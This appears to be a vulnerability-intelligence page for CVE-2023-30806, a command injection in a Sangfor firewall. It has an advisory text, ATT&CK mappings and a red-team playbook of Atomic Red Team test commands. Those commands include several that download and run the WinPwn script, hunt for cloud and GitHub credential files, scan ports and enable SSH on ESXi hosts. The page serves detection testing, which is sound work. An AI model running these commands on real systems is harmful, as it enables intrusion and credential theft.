CVE-2023-30806

CRITICAL Pub 10/10 Upd 22/11

Overview

This vulnerability is an operating system command injection caused by improper sanitization of shell meta-characters within the PHPSESSID cookie. The flaw resides in the Sangfor Next-Gen Application Firewall NGAF8.0.17, specifically in the handling of HTTP POST requests directed at the /cgi-bin/login.cgi endpoint. The affected component fails to correctly validate or escape user-controlled input, enabling injection of arbitrary OS commands.

Vulnerability Description

The Sangfor Next-Gen Application Firewall version NGAF8.0.17 is vulnerable to an operating system command injection vulnerability. A remote and unauthenticated attacker can execute arbitrary commands by sending a crafted HTTP POST request to the /cgi-bin/login.cgi endpoint. This is due to mishandling of shell meta-characters in the PHPSESSID cookie.

Impact

An unauthenticated remote attacker can execute arbitrary operating system commands on the firewall, potentially leading to full compromise of the device. This requires only network access to the affected endpoint and no user interaction or authentication (AV:N/AC:L/PR:N/UI:N). Successful exploitation can result in data breach, service disruption, or lateral movement within the network, severely impacting the security posture of organizations deploying this product.

Solution

Sangfor has released patches addressing this vulnerability in versions later than NGAF8.0.17. Users should upgrade to the latest firmware as detailed in the advisory at https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/. Additional guidance and patch details are available at https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce. AWS Marketplace listings also reflect updated secure versions. Applying the vendor-provided updates promptly is recommended to mitigate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the Sangfor Next-Gen Application Firewall version NGAF8.0.17 is characterized by an operating system command injection flaw. This issue arises from improper handling of shell meta-characters within the PHPSESSID cookie, allowing an attacker to manipulate the system by injecting arbitrary commands. The vulnerability is particularly concerning because it can be exploited remotely and does not require authentication, significantly lowering the barrier for potential attackers. By crafting a malicious HTTP POST request directed at the /cgi-bin/login.cgi endpoint, an attacker can execute commands with the privileges of the web server, potentially leading to complete system compromise.

Exploitation of this vulnerability can occur through various attack vectors. A typical scenario involves an attacker sending a specially crafted request that includes shell meta-characters in the PHPSESSID cookie. Once the request is processed by the application firewall, the injected commands can be executed on the underlying operating system. This could allow the attacker to perform a range of malicious activities, such as retrieving sensitive information, modifying system configurations, or deploying additional malware. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly dangerous, as it can be leveraged by attackers with minimal technical expertise.

The real-world impact of this vulnerability can be severe, posing significant business risks for organizations that utilize the affected firewall. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The financial implications may include costs associated with incident response, regulatory fines, and reputational damage. Furthermore, the ability to execute arbitrary commands could enable attackers to pivot within the network, escalating their access and potentially compromising additional systems. Organizations relying on this firewall for security may find their defenses undermined, leading to a loss of trust from customers and stakeholders.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses before they are exploited by attackers. Additionally, monitoring network traffic for unusual patterns, particularly around the /cgi-bin/login.cgi endpoint, can provide early warning signs of an attempted exploitation. Applying patches and updates provided by the vendor is crucial to closing this vulnerability. Organizations should also consider implementing additional security measures, such as web application firewalls (WAFs) and intrusion detection systems (IDS), to further protect against command injection attacks.

In conclusion, the operating system command injection vulnerability in the Sangfor Next-Gen Application Firewall version NGAF8.0.17 represents a significant threat to organizations that rely on this product for their cybersecurity posture. The combination of remote exploitability and lack of authentication creates a high-risk scenario that can lead to severe consequences. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to detect and mitigate this vulnerability, thereby enhancing their overall security posture.

Affected Products (1)

Vendor Product Version CPE
sangfor Sangfor Next-Gen Application Firewall ngaf8.0.17 cpe:2.3:a:sangfor:next-gen_application_firewall:ngaf8.0.17:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
52% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
58%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-30806
labs.watchtowr.com
GitHub CVE third-party-advisory exploit technical-description
https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/
vulncheck.com
GitHub CVE third-party-advisory
https://vulncheck.com/advisories/sangfor-ngaf-sessid-rce
aws.amazon.com
GitHub CVE product
https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4